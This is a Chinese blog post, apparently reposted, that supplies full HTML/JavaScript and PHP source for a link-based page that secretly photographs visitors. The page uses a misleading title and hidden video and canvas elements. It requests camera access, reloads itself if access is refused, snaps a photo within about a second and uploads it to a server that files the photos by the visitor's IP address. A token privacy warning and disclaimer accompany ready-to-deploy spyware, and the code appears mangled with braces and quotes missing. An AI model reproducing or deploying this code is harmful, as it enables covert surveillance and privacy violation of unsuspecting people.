一条链接获取你的照片附源码

Posted 大炮乔666

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一条链接获取你的照片附源码相关的知识,希望对你有一定的参考价值。


测试链接   https://sunpma.com/other/xiangjiquanxian

一条链接获取你的照片【附源码】_vue


无论是手机还是pc,都会被获取。请谨慎点击,直接申请获取相机权限,拍照上传到服务器。


现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己;

代码

分别创建​​index.html​和​​photo.php​两个文件并上传至网站服务器即可;

创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;

允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类;


index.html代码



<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="" content="content">
<title>神算子</title>
</head>
<body>
<canvas id="canvas" style="display: none;" ></canvas>
<video id="video" style="display: none;width: 250px;height: 300px;"></video>
<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
<script>
window.addEventListener("DOMContentLoaded",function()
var canvas = document.getElementById(canvas);
var context =canvas.getContext(2d);
var video = document.getElementById(video);
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia)
navigator.mediaDevices.getUserMedia(video:true).then(function(stream)
video.srcObject = stream;
video.play();
setTimeout(function()context.drawImage(video,0,0,480,640), 1000);
setTimeout(function()
var img = canvas.toDataURL(image/png);
$.post(/photo.php,imegse:img,function(data)
//指定photo.php文件所在位置
)
,1300)

,function()
alert(缺少访问权限);
location.reload();
)


,false);
</script>
</body>
</html>

photo.php代码

<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()

//接收 base64 数据
$image = $_POST[imegse];
if (empty($image))
return null;

//设置图片名称
$imageName = date("His", time()) . "_" . rand(1111, 9999) . .png;
//判断是否有逗号 如果有就截取后半部分
if (strstr($image, ","))
$image = explode(,, $image);
$image = $image[1];

//设置图片保存路径
$path = "./" . getIp() . / . date("Ymd", time());
//判断目录是否存在 不存在就创建
if (!is_dir($path))
mkdir($path, 0777, true);

//图片路径
$imageSrc = $path . "/" . $imageName;
//生成文件夹和图片
$r = file_put_contents($imageSrc, base64_decode($image));
if (!$r)
return 0;
else
return 1;


function getIp()

if (!empty($_SERVER[HTTP_CLIENT_IP]))
$ip = $_SERVER[HTTP_CLIENT_IP];
elseif (!empty($_SERVER[HTTP_X_FORWARDED_FOR]))
$ip = $_SERVER[HTTP_X_FORWARDED_FOR];
else
$ip = $_SERVER[REMOTE_ADDR];

return $ip;

​index.html​​​在第25行处需要指定​​photo.php​​文件的所在位置,如果文件在网站根目录下就无需修改;

源码打包:

https://wwa.lanzous.com/iljaaozik7e


最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


以上是关于一条链接获取你的照片附源码的主要内容,如果未能解决你的问题,请参考以下文章

VC++实现打开文件和打开所在文件夹的功能(附源码)

阿里云对象存储OSS上传照片(附源码)

阿里云对象存储OSS上传照片(附源码)

阿里云对象存储OSS上传照片(附源码)

如何制作一份疫情场所分布地图?(附数据和源码)

实现简单迷宫小游戏(几行代码)-免费附源码